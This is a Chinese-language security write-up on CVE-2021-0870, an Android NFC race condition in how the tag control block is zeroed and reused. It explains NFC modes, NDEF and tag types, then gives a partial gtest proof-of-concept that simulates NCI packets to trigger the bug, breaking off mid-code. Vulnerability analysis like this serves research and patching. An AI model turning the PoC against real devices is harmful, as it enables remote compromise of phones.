概述
NFC在人们的日常生活中扮演了重要角色,已经成为移动设备不可或缺的组件,NFC和蓝牙类似,都是利用无线射频技术来实现设备之间的通信。因此芯片固件和主机NFC子系统都是远程代码执行(RCE)攻击的目标。
CVE-2021-0870是一枚NFC中的RCE高危漏洞,2021年10月漏洞通告中显示已被修复https://source.android.com/security/bulletin/2021-10-01。漏洞成因是RW_SetActivatedTagType
可以通过将NFC的TCB(tag control block)置零的方式实现在不同tag之间切换,TCB所在的内存区域是固定不变的,这块内存被不同tag复用。当TCB被置零后即表示上一状态已被禁用。但是新tag激活后,上一个状态的超时检测定时器仍然在工作,并且仍然引用TCB里的数据和指针,然而此时TCB已经被置零。随后新状态启动自己的定时器重写TCB中相应偏移的数据时,会产生条件竞争。
NFC技术框架
NFC的三种运行模式
Reader/Write模式:简称R/W 和NFC Tag/NFC reader有关;
Peer-to-Peer模式:简称P2P 它支持两个NFC设备进行交互;
NFC Card Emulation(CE):他能把NFC功能的设备模拟成智能卡,这样就可以实现手机支付/门禁卡功能。
漏洞存在于Reader/Write模式(R/W)
Reader/Write模式
NFC Tag/NFC reader是NFC系统RFID中的两个重要的组件,其中Tag是一种用于存储数据的被动式RFID tag,它自身不包含电源,而是依赖其他组件,如NFC reader通过线圈里的电磁感应给他供电,然后通过某些射频通信协议来存取NFC tag里的数据。
NFC Forum 定义了两个数据结构用于设备间的通信(不仅仅是设备之间,也包括R/W模式种的NFC Reader和NFC Tag之间交互数据) ,分别是NDEF和NFC Record。
R/W模式下使用NDEF数据结构通信时,NFC设备的每一次数据交互都会被封装在一个NDEF Message中,一个Message包括多个NFC RecordMessage 的数据结构如下,它是多个record组合而成。
单个record的结构如下:
本文不对详细的数据结构的各个字段做出解释。
漏洞存在于使用NDEF数据包通信的过程中。
Tag
NFC Forum 定义了4种tag,分别为Type1,2,3,4 。他们之间的区别在于占用存储空间的大小和使用底层协议不同。但能被NFC Reader和NFC Tag 读写的tag类型远多于4种,Android Java层提供了"android.nfc.tech"包用来处理不同类型的tag,下表列出了该包里的几个类,这些类分别处理不同类型的tag。例如,NDEF 是用来处理Type1-4的类。
IsoDep |
Provides access to ISO-DEP (ISO 14443-4) properties and I/O operations on a Tag. |
MifareClassic |
Provides access to MIFARE Classic properties and I/O operations on a Tag. |
MifareUltralight |
Provides access to MIFARE Ultralight properties and I/O operations on a Tag. |
Ndef |
Provides access to NDEF content and operations on a Tag. |
NdefFormatable |
Provide access to NDEF format operations on a Tag. |
NfcA |
Provides access to NFC-A (ISO 14443-3A) properties and I/O operations on a Tag. |
NfcB |
Provides access to NFC-B (ISO 14443-3B) properties and I/O operations on a Tag. |
NfcBarcode |
Provides access to tags containing just a barcode. |
NfcF |
Provides access to NFC-F (JIS 6319-4) properties and I/O operations on a Tag. |
NfcV |
Provides access to NFC-V (ISO 15693) properties and I/O operations on a Tag. |
漏洞代码中出现的T1T,T2T...TT,I93,是R/W模式下,探测、读写NDEF数据包的具体实现方法,是一种的技术标准。比如I93是基于 ISO 15693 的实现方法,T1T基于NFC-A ,也就是ISO 14443-3A。
漏洞分析
POC代码
基于Google的测试框架gtest编写了一个集成测试文件,TEST函数是测视例的main函数,自动化测试框架从TEST调用poc代码:
TEST(NfcIntegrationTest, test_mifare_state_bug) {
CallbackTracker tracker;
g_callback_tracker = &tracker;
NfcAdaptation& theInstance = NfcAdaptation::GetInstance();
theInstance.Initialize();
NFA_Init(&entry_funcs);
NFA_Enable(nfa_dm_callback, nfa_conn_callback);
usleep(5000);
std::vector<uint8_t> reset_core = {0x1, 0x29, 0x20};
g_callback_tracker->SimulatePacketArrival(
NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
reset_core.size());
{
std::unique_lock<std::mutex> reset_done_lock(cv_mutex);
reset_done_cv.wait(reset_done_lock);
}
NFA_EnableListening();
NFA_EnablePolling(NFA_TECHNOLOGY_MASK_F | NFA_TECHNOLOGY_MASK_V);
NFA_EnableDtamode(NFA_DTA_DEFAULT_MODE);
NFA_StartRfDiscovery();
{
std::unique_lock<std::mutex> enable_lock(cv_mutex);
enable_cv.wait(enable_lock);
}
std::vector<uint8_t> init_core = {0x0, 0xa, 0x3, 0xca, 0xff, 0xff, 0xff,
0xff, 0x2, 0xe0, 0xe0, 0xe0, 0xe0, 0xe0};
g_callback_tracker->SimulatePacketArrival(NCI_MT_RSP, 0, NCI_GID_CORE,
NCI_MSG_CORE_INIT, init_core.data(),
init_core.size());
g_callback_tracker->SimulateHALEvent(HAL_NFC_POST_INIT_CPLT_EVT,
HAL_NFC_STATUS_OK);
{
std::unique_lock<std::mutex> nfa_enable_lock(cv_mutex);
nfa_enable_cv.wait(nfa_enable_lock);
}
std::vector<uint8_t> discover_rf = {0x0};
g_callback_tracker->SimulatePacketArrival(
NCI_MT_RSP, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DISCOVER, discover_rf.data(),
discover_rf.size());
{
std::unique_lock<std::mutex> rf